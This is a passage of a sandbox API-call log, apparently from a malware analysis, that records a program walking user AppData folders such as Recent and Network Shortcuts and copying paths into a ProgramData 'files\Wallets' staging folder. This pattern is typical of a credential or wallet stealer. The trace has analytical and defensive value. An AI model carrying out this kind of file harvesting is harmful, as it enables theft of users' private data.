lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\" [0052.414] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\." [0052.414] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts" [0052.414] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts\\" [0052.414] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts\\." [0052.414] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.414] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.414] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" [0052.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\" [0052.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\.." [0052.415] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts" [0052.415] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts\\" [0052.415] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts\\.." [0052.415] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.415] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.415] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.415] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.415] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.415] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0052.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\" [0052.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Printer Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" [0052.415] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" [0052.415] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\" [0052.415] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\", lpString2="Printer Shortcuts" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts" [0052.415] lstrcmpW (lpString1="Printer Shortcuts", lpString2=".") returned 1 [0052.415] lstrcmpW (lpString1="Printer Shortcuts", lpString2="..") returned 1 [0052.415] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" [0052.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*.*" [0052.415] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a3c0 [0052.415] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" [0052.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\" [0052.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\." [0052.415] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts" [0052.415] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts\\" [0052.415] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts\\." [0052.415] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.415] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.415] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" [0052.415] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\" [0052.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\.." [0052.416] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts" [0052.416] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts\\" [0052.416] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Printer Shortcuts\\.." [0052.416] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.416] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.416] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.416] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.416] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.416] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0052.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\" [0052.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.416] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" [0052.416] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\" [0052.416] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\", lpString2="Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.416] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0052.416] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0052.416] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*" [0052.416] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a180 [0052.416] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\." [0052.416] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.416] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.416] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\." [0052.416] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.416] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.416] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.." [0052.416] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.416] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.416] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\.." [0052.416] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.416] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.417] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.417] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-2veyI0 Gu5b6i2tW.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2veyI0 Gu5b6i2tW.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2veyI0 Gu5b6i2tW.lnk" [0052.417] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.417] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.417] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="-2veyI0 Gu5b6i2tW.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\-2veyI0 Gu5b6i2tW.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\-2veyI0 Gu5b6i2tW.lnk" [0052.417] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.417] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-JfVzsH3-GatWx.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-JfVzsH3-GatWx.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-JfVzsH3-GatWx.lnk" [0052.417] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.417] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.417] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="-JfVzsH3-GatWx.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\-JfVzsH3-GatWx.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\-JfVzsH3-GatWx.lnk" [0052.417] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.417] lstrcpyW (in: lpString1=0x19dbc4, 